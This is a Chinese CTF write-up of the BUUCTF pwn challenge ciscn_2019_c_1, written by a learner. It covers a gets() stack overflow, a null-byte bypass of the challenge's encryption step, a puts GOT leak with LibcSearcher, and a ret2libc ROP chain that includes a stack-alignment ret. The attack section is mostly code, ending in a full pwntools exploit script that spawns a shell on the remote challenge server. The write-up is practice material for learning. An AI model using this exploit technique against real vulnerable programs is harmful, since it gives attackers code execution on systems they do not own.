weiteUP-ciscn_2019_c_1

声明:本文用途为供自己学习
参考博文一:CSDN-半步行止(作者)-ciscn_2019_c_1
参考博文二:CSDN-Angel~Yan(作者)-[BUUCTF]PWN6——ciscn_2019_c_1
参考博文三:博客园-ZIKH26(作者)-关于ubuntu18版本以上调用64位程序中的system函数的栈对齐问题

目录

    • 一、思路
    • 二、攻击过程
      • (一)泄露puts函数的真实地址
      • (二)利用LibcSearcher获取libc基址
        • 1.LibcSearcher模块下载安装教程
        • 2.LibcSearcher原理浅析
        • 3.利用libc得到system("/bin/sh")
          • (1)利用LibcSearcher
          • (2)利用已知的libc库
      • (三)利用ROP使用system('/bin/sh')得到shell
        • 1.构造的gadget链
        • 2.构造gadget链的思路
          • (1).pop rdi ; ret
          • (2)puts_plt、puts_got
          • (3)ret
    • 三、攻击脚本
    • 四、遇到的问题
      • (一)不理解栈平衡原理
      • (二)LibcSearcher找libc版本的原理
      • (三)关于sleep(0)什么时候加的问题
      • (四)对于payload中plt和got地址的选择理解不清
    • 五、总结反思
      • (一)还需要对找Libc版本的方法进行深入探究
      • (二)要搞明白为什么payload中第一次puts要用plt。

一、思路

enter description here
main函数:
weiteUP-ciscn_2019_c_1_第1张图片
encrrypt函数:
weiteUP-ciscn_2019_c_1_第2张图片

encrypt函数中存在gets函数,本题中没有canary保护所以可以栈溢出,而后面的伪代码表示会对输入的每一个字符进行加密,即意图让的输入发生改变,如此就不能保证输入的payload达到攻击目的。而strlen函数的返回值为遇到第一个'\0'时的字符串长度,例如"q\0abcd"的长度为1。因此输入的字符串如果存在\0,则其第一个\0后的内容不会被加密(修改),即借此可以正常构造payload,此题中没有system('/bin/sh'),不能ret2system,用ret2libc构造ROP链的方法达到攻击目的。system/bin/sh都能够在libc中找到,通过puts函数泄露puts函数的真实地址(puts.got.plt的内容),计算处libc基质进一步得出system函数和/bin/sh在程序运行时真实地址,注意:此时要保证栈平衡(后面会涉及改内容,详见参考博文三)。

二、攻击过程

(一)泄露puts函数的真实地址


由于该程序采用动态链接,只有在程序运行时才会进行重定位操作(这部分略,不去学习相关内容还是不会理解),由于RELRO保护,在本地文件中直接找到的puts函数pltgot表的地址并非在运行时的地址,got表一开始是没有存放该真实地址,因此需要在程序运行时确定。而puts函数的作用是打印参数内容,如果把栈溢出时的返回地址篡改为puts函数的地址(为什么这里用plt而不可以用got????有待探究),且把puts的参数设置为puts.got.plt的地址,则该地址内的内容就会被打印出,而该地址内由于puts函数之前已经加载过了,因此该地址内内容为put函数在程序运行时的真实地址。
(由于程序开启了RELRO保护,因此puts_got的值每次运行时不一样,因此还需要把)
以下代码参考:CSDN-Angel~Yan(作者)-[BUUCTF]PWN6——ciscn_2019_c_1

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main = elf.symbols['main']

payload=b'\0'+b'a'*(0x50-1+8)   #首位填‘\0’,绕过加密,之后填上a覆盖到返回地址
payload+=p64(pop_rdi_ret) #设置rdi寄存器的值为puts的got表地址
payload+=p64(puts_got)   #调用puts函数,输出的是puts的got表地址
payload+=p64(puts_plt)    #设置返回地址,上述步骤完成了输出了puts函数的地址,我们得控制程序执行流
payload+=p64(main)      #让它返回到main函数,这样我们才可以再一次利用输入点构造rop 

io.sendlineafter(b"Input your choice!\n",b'1')                  
io.sendlineafter(b'encrypted\n',payload)
io.recvline()
io.recvline()

puts_addr=u64(io.recvuntil(b'\n')[:-1].ljust(8,b'\0'))#接收程序返回的地址#lijust(8,'\0'),不满8位的用0补足
print(hex(puts_addr))

(二)利用LibcSearcher获取libc基址

1.LibcSearcher模块下载安装教程

cd ~
git clone https://github.com/lieanu/LibcSearcher.git
cd LibcSearcher
python3 setup.py install

如果直接运行python exp.py提示"No module named LibcSearcher",需要将LibcSearcher.py 复制到当前工作目录。
附:在线libc库查询网站(根据外部函数真实地址(十六进制格式)最后三位查询)(如puts函数运行时真实地址为0x7f3d534819c0,则输入9c0,原理见下一条目)
weiteUP-ciscn_2019_c_1_第3张图片

2.LibcSearcher原理浅析

参考博文:CSDN-半步行止(作者)-ciscn_2019_c_1
低三位决定libc的版本号,这是由分页机制决定的,以下是“半步行止”对于“北岛静石”的引用。目前我没有找到有关“北岛静石”对于libc版本的阐述,今后找到相关libc版本阐述的说法会更新此处。

北岛静石师傅:
不同libc版本代码会有修改, 导致它基地址会发生改变
然后由于页对齐机制
4kb为一页
4kb=4*1024=2^12=0x1000
所有页都是这样对齐的, 所以在分配给动态链接库的时候
不会影响到低三字节
由此可以确定版本信息了
那种分配给动态链接库的内存, 也是n个页
n*0x1000怎么样都不会影响低三字节的

3.利用libc得到system(“/bin/sh”)

(下图中write即为本题中puts
libc.so文件中putswrite)函数和system函数分布的示意图:
weiteUP-ciscn_2019_c_1_第4张图片
目标攻击文件在内存中中(运行时)的布局及各函数的布局(与上图对应如下)示意图如下:
(ps:上图自上到下是由低地址到高地址,下图相反:自上到下是由高地址到低地址)
weiteUP-ciscn_2019_c_1_第5张图片

(1)利用LibcSearcher

使用以下代码:
大致原理见上两张图

libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')
sys_addr=libc_base+libc.dump('system')
binsh_addr=libc_base+libc.dump('str_bin_sh')
(2)利用已知的libc库

使用以下代码:

libc=ELF('././libc-2.27.so')
libc_base=puts_addr-libc.symbols('puts')
sys_addr=libc_base+libc.symbols('system')
binsh_addr=libc_base+ libc.search('/bin/sh').next()

(三)利用ROP使用system(‘/bin/sh’)得到shell

1.构造的gadget链

pop_rdi_ret = 0x400c83
ret_addr = 0x4006b9
payload2 = b'\0' + b'a' * (0x50 - 1 + 0x8) + p64(ret_addr) + p64(pop_rdi_ret) + p64(bin_sh) + p64(sys_addr)

2.构造gadget链的思路

(1).pop rdi ; ret

由于本程序是64位程序,函数传递参数时第一个参数放在rdi寄存器中,所以在返回ret system函数之前,需要将rdi寄存器设置为字符串"/bin/sh"(的地址),所以gadget需要pop rdi,而如果没有一个紧跟着pop rdiret程序可能会异常终止,因此寻找的gadgetpop rdi;ret
使用pwntools自带的ROPgadget工具,利用如下代码,可以得到需要的gadget的地址,选择下图标记的地址:
(ps:如果程序开启了PIE保护,则不能够使用ROPgadget工具,这是因为ROPgadget分析的仅仅是本地的二进制文件)

 ROPgadget --binary ciscn_2019_c_1 --only "pop | ret"

weiteUP-ciscn_2019_c_1_第6张图片

(2)puts_plt、puts_got
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
(3)ret

关于为什么要加入ret:平衡栈、执行system函数前栈要16字节对齐。参考博文:博客园-ZIKH26(作者)-关于ubuntu18版本以上调用64位程序中的system函数的栈对齐问题

为什么执行system函数要栈对齐
64位ubuntu18以上系统调用system函数时是需要栈对齐的。再具体一点就是64位下system函数有个movaps指令,这个指令要求内存地址必须16字节对齐。

就是说,调用system函数时,system对应的栈的地址必须是16的倍数。

如果执行system的时候没有对齐怎么办?
如果执行了一个对栈地址的操作指令(比如pop,ret,push等等,但如果是mov这样的则不算对栈的操作指令),那么栈地址就会+8或是-8。为使rsp对齐16字节,核心思想就是增加或减少栈内容,使rsp地址能相应的增加或减少8字节,这样就能够对齐16字节了。因为栈中地址都是以0或8结尾,0已经对齐16字节,因此只需要进行奇数次pop或push操作,就能把地址是8结尾的rsp变为0结尾,使其16字节对齐。

这时候有两种解决方法。

1、去将system函数地址+1,此处的+1,即是把地址+1,也可以理解为

+1是为了跳过一条栈操作指令(函数的第一条指令一般都是push rbp,我们的目的就是跳过一条栈操作指令,使rsp十六字节对齐,跳过一条指令,自然就是把8变成0了)

2、直接在调用system函数地址之前去调用一个ret指令。因为本来现在是没有对齐的,那我现在直接执行一条对栈操作指令(ret指令等同于pop rip,该指令使得rsp+8,从而完成rsp16字节对齐),这样system地址所在的栈地址就是0结尾,从而完成了栈对齐。

(自言自语:也许在本程序执行时,在执行本来应该ret addr时,栈(地址)应该就不是16字节对齐的,而执行过p64(pop_rdi_ret) + p64(bin_sh) + p64(sys_addr)这个后,栈相对于原来增减了8*3,即奇数个8字节,所以在执行ret system时栈依然没有16字节对齐)

三、攻击脚本

from pwn import *
from LibcSearcher import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')
ifRemote = 1
if ifRemote:
	io = remote("node4.buuoj.cn",26773)
else:
	io = process("./ciscn_2019_c_1")

elf = ELF("ciscn_2019_c_1")
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main = elf.symbols['main']
pop_rdi_ret = 0x400c83
payload=b'\0'+b'a'*(0x50-1+8)   #首位填‘\0’,绕过加密,之后填上a覆盖到返回地址
payload+=p64(pop_rdi_ret) #设置rdi寄存器的值为puts的got表地址
payload+=p64(puts_got)   #调用puts函数,输出的是puts的got表地址
payload+=p64(puts_plt)    #设置返回地址,上述步骤完成了输出了puts函数的地址,我们得控制程序执行流
payload+=p64(main)      #让它返回到main函数,这样我们才可以再一次利用输入点构造rop 
io.sendlineafter(b"Input your choice!\n",b'1')                  
io.sendlineafter(b'encrypted\n',payload)
io.recvline()
io.recvline()
puts_addr=u64(io.recvuntil(b'\n')[:-1].ljust(8,b'\0'))#接收程序返回的地址#lijust(8,'\0'),不满8位的用0补足
print(hex(puts_addr))

libc=LibcSearcher('puts',puts_addr)  #利用LibcSearcher模块找到匹配的libc版本
libc_base = puts_addr - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')

io.sendlineafter(b"Input your choice!\n",b'1') 
ret_addr = 0x4006b9
payload2 = b'\0' + b'a' * (0x50 - 1 + 0x8) + p64(ret_addr) + p64(pop_rdi_ret) + p64(bin_sh) + p64(sys_addr)
# sleep(1) ## 不是必要加 ,但有时候要加
io.sendlineafter(b'encrypted\n',payload2)
io.interactive()

四、遇到的问题

(一)不理解栈平衡原理

一开始不明白为什么在payload2中的gadget链中要加入ret_addr,后来知道时和system函数有关,找了几篇博文,解决了此问题。推荐博文:参考博文三:博客园-ZIKH26(作者)-关于ubuntu18版本以上调用64位程序中的system函数的栈对齐问题
其他博文:
参考博文三:CSDN-小手琴师(作者)-x86_64汇编中的栈平衡(内平栈外平栈)附od反汇编图解

(二)LibcSearcher找libc版本的原理

LibcSearcher通过程序引用libc.so中的函数在程序运行时的真实地址(16进制)的低三位来判断libc版本,本文中通过“半步行止”的博文并没有理解透彻。

(三)关于sleep(0)什么时候加的问题

(四)对于payload中plt和got地址的选择理解不清

payload=b'\0'+b'a'*(0x50-1+8)   #首位填‘\0’,绕过加密,之后填上a覆盖到返回地址
payload+=p64(pop_rdi_ret) #设置rdi寄存器的值为puts的got表地址
payload+=p64(puts_got)   #调用puts函数,输出的是puts的got表地址
payload+=p64(puts_plt)

为什么puts_plt不能用puts_got?(本人猜测是在plt表中还有些有关函数执行的操作,而got表里差不多只有函数的真实地址,不能够支撑函数运行??,有待后续研究)

五、总结反思

(一)还需要对找Libc版本的方法进行深入探究

(二)要搞明白为什么payload中第一次puts要用plt。

你可能感兴趣的:(系统安全)